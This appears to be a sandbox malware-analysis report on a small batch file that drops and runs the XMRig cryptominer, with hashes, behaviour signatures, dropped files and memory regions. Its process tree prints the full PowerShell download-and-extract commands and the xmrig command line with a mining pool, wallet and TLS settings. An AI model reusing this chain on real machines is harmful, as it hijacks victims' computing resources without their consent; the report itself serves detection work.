Analysis

  • max time kernel
    1814s
  • max time network
    1825s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    31/12/2023, 20:41

General

  • Target

    tesy - Copy (12).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (12).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2776
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4916
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4052
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:1344

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

          Filesize

          3KB

          MD5

          42d4b1d78e6e092af15c7aef34e5cf45

          SHA1

          6cf9d0e674430680f67260194d3185667a2bb77b

          SHA256

          c4089b4313f7b8b74956faa2c4e15b9ffb1d9e5e29ac7e00a20c48b8f7aef5e0

          SHA512

          d31f065208766eea61facc91b23babb4c94906fb564dc06d114cbbc4068516f94032c764c188bed492509010c5dbe61f096d3e986e0ae3e70a170a9986458930

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          1KB

          MD5

          21530b834c6940ebfb019c5abccf84d7

          SHA1

          aea1afe5ba63cc48f9bd003e8b06101c941acf68

          SHA256

          2ca2c62a4c5120525c5d6aafcbc0fb5d542555c6ced3d597fa7da377b7b23c3a

          SHA512

          9c779b88a0f0eec1529e2bd288518d0b081fcaa32cbfdccc7d7a9aee4701b37174f862edc3bc975553f901a868745b7bdbd07b29c4b519d484af6c03eb78f4c5

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fjsg4xvo.tx2.ps1

          Filesize

          1B

          MD5

          c4ca4238a0b923820dcc509a6f75849b

          SHA1

          356a192b7913b04c54574d18c28d46e6395428ab

          SHA256

          6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

          SHA512

          4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

        • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

          Filesize

          2.6MB

          MD5

          95467b3327bd1e7bc2b10d62d2188a31

          SHA1

          80b699304a6bd9112f44b1b7a240a62f027f1daa

          SHA256

          1ba8aca682abe4a67ec2a2afa3fdb5b55d72229f431c320616f0c5e58ecaf905

          SHA512

          c81a36c268a0ed32a9a02a165459250887e0ac3c38370bdafe6d5d8bea5bcc81c0eafeea51d0e461c098ef881ad99e9f7fc2520a70ee38627adbab1d889b2a33

        • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

          Filesize

          2.6MB

          MD5

          e4abb6145b66c34bf9fcba45f4dba85a

          SHA1

          2b98230579998856ef46d7dc9ec6dae8de2e794a

          SHA256

          4c8c3a281fd391a5b225a483d98f7002333d522122468a060d55aa0a0f83e6e4

          SHA512

          5921690ba060ffe9e590d2d1deaedd688a7aae2e6e0407f551a8d7332a3f1972a548ea04e8632adf436b30b2d055a85040a84ca4d441a8cd1bc135fd62b478df

        • memory/1344-147-0x00007FF732A20000-0x00007FF733523000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-123-0x00007FF732A20000-0x00007FF733523000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-188-0x00007FF732A20000-0x00007FF733523000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-187-0x00007FF732A20000-0x00007FF733523000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-186-0x00007FF732A20000-0x00007FF733523000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-185-0x00007FF732A20000-0x00007FF733523000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-184-0x00007FF732A20000-0x00007FF733523000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-183-0x00007FF732A20000-0x00007FF733523000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-182-0x00007FF732A20000-0x00007FF733523000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-181-0x00007FF732A20000-0x00007FF733523000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-180-0x00007FF732A20000-0x00007FF733523000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-179-0x00007FF732A20000-0x00007FF733523000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-178-0x00007FF732A20000-0x00007FF733523000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-177-0x00007FF732A20000-0x00007FF733523000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-120-0x0000024343280000-0x00000243432A0000-memory.dmp

          Filesize

          128KB

        • memory/1344-121-0x00000243434A0000-0x00000243434E0000-memory.dmp

          Filesize

          256KB

        • memory/1344-122-0x00007FF732A20000-0x00007FF733523000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-150-0x00007FF732A20000-0x00007FF733523000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-124-0x00000243D7550000-0x00000243D7570000-memory.dmp

          Filesize

          128KB

        • memory/1344-125-0x00000243D7780000-0x00000243D77A0000-memory.dmp

          Filesize

          128KB

        • memory/1344-126-0x00007FF732A20000-0x00007FF733523000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-128-0x00000243D7550000-0x00000243D7570000-memory.dmp

          Filesize

          128KB

        • memory/1344-127-0x00007FF732A20000-0x00007FF733523000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-129-0x00000243D7780000-0x00000243D77A0000-memory.dmp

          Filesize

          128KB

        • memory/1344-130-0x00007FF732A20000-0x00007FF733523000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-131-0x00007FF732A20000-0x00007FF733523000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-132-0x00007FF732A20000-0x00007FF733523000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-133-0x00007FF732A20000-0x00007FF733523000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-134-0x00007FF732A20000-0x00007FF733523000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-135-0x00007FF732A20000-0x00007FF733523000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-136-0x00007FF732A20000-0x00007FF733523000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-137-0x00007FF732A20000-0x00007FF733523000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-138-0x00007FF732A20000-0x00007FF733523000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-139-0x00007FF732A20000-0x00007FF733523000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-140-0x00007FF732A20000-0x00007FF733523000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-141-0x00007FF732A20000-0x00007FF733523000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-142-0x00007FF732A20000-0x00007FF733523000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-143-0x00007FF732A20000-0x00007FF733523000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-144-0x00007FF732A20000-0x00007FF733523000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-145-0x00007FF732A20000-0x00007FF733523000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-149-0x00007FF732A20000-0x00007FF733523000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-176-0x00007FF732A20000-0x00007FF733523000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-175-0x00007FF732A20000-0x00007FF733523000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-146-0x00007FF732A20000-0x00007FF733523000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-148-0x00007FF732A20000-0x00007FF733523000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-151-0x00007FF732A20000-0x00007FF733523000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-152-0x00007FF732A20000-0x00007FF733523000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-153-0x00007FF732A20000-0x00007FF733523000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-154-0x00007FF732A20000-0x00007FF733523000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-155-0x00007FF732A20000-0x00007FF733523000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-156-0x00007FF732A20000-0x00007FF733523000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-157-0x00007FF732A20000-0x00007FF733523000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-158-0x00007FF732A20000-0x00007FF733523000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-159-0x00007FF732A20000-0x00007FF733523000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-160-0x00007FF732A20000-0x00007FF733523000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-161-0x00007FF732A20000-0x00007FF733523000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-162-0x00007FF732A20000-0x00007FF733523000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-163-0x00007FF732A20000-0x00007FF733523000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-164-0x00007FF732A20000-0x00007FF733523000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-165-0x00007FF732A20000-0x00007FF733523000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-166-0x00007FF732A20000-0x00007FF733523000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-167-0x00007FF732A20000-0x00007FF733523000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-168-0x00007FF732A20000-0x00007FF733523000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-169-0x00007FF732A20000-0x00007FF733523000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-170-0x00007FF732A20000-0x00007FF733523000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-171-0x00007FF732A20000-0x00007FF733523000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-172-0x00007FF732A20000-0x00007FF733523000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-173-0x00007FF732A20000-0x00007FF733523000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-174-0x00007FF732A20000-0x00007FF733523000-memory.dmp

          Filesize

          11.0MB

        • memory/4052-66-0x000001D4B5FD0000-0x000001D4B5FE0000-memory.dmp

          Filesize

          64KB

        • memory/4052-40-0x00007FF823750000-0x00007FF82413C000-memory.dmp

          Filesize

          9.9MB

        • memory/4052-41-0x000001D4B5FD0000-0x000001D4B5FE0000-memory.dmp

          Filesize

          64KB

        • memory/4052-117-0x00007FF823750000-0x00007FF82413C000-memory.dmp

          Filesize

          9.9MB

        • memory/4052-93-0x000001D4B5FE0000-0x000001D4B5FEA000-memory.dmp

          Filesize

          40KB

        • memory/4052-42-0x000001D4B5FD0000-0x000001D4B5FE0000-memory.dmp

          Filesize

          64KB

        • memory/4052-80-0x000001D4B6000000-0x000001D4B6012000-memory.dmp

          Filesize

          72KB

        • memory/4916-26-0x00007FF823750000-0x00007FF82413C000-memory.dmp

          Filesize

          9.9MB

        • memory/4916-6-0x00007FF823750000-0x00007FF82413C000-memory.dmp

          Filesize

          9.9MB

        • memory/4916-4-0x000001AC47840000-0x000001AC47862000-memory.dmp

          Filesize

          136KB

        • memory/4916-25-0x000001AC47680000-0x000001AC47690000-memory.dmp

          Filesize

          64KB

        • memory/4916-10-0x000001AC47680000-0x000001AC47690000-memory.dmp

          Filesize

          64KB

        • memory/4916-9-0x000001AC479F0000-0x000001AC47A66000-memory.dmp

          Filesize

          472KB

        • memory/4916-8-0x000001AC47680000-0x000001AC47690000-memory.dmp

          Filesize

          64KB

        • memory/4916-27-0x000001AC47680000-0x000001AC47690000-memory.dmp

          Filesize

          64KB

        • memory/4916-28-0x000001AC47680000-0x000001AC47690000-memory.dmp

          Filesize

          64KB

        • memory/4916-29-0x000001AC47680000-0x000001AC47690000-memory.dmp

          Filesize

          64KB

        • memory/4916-34-0x00007FF823750000-0x00007FF82413C000-memory.dmp

          Filesize

          9.9MB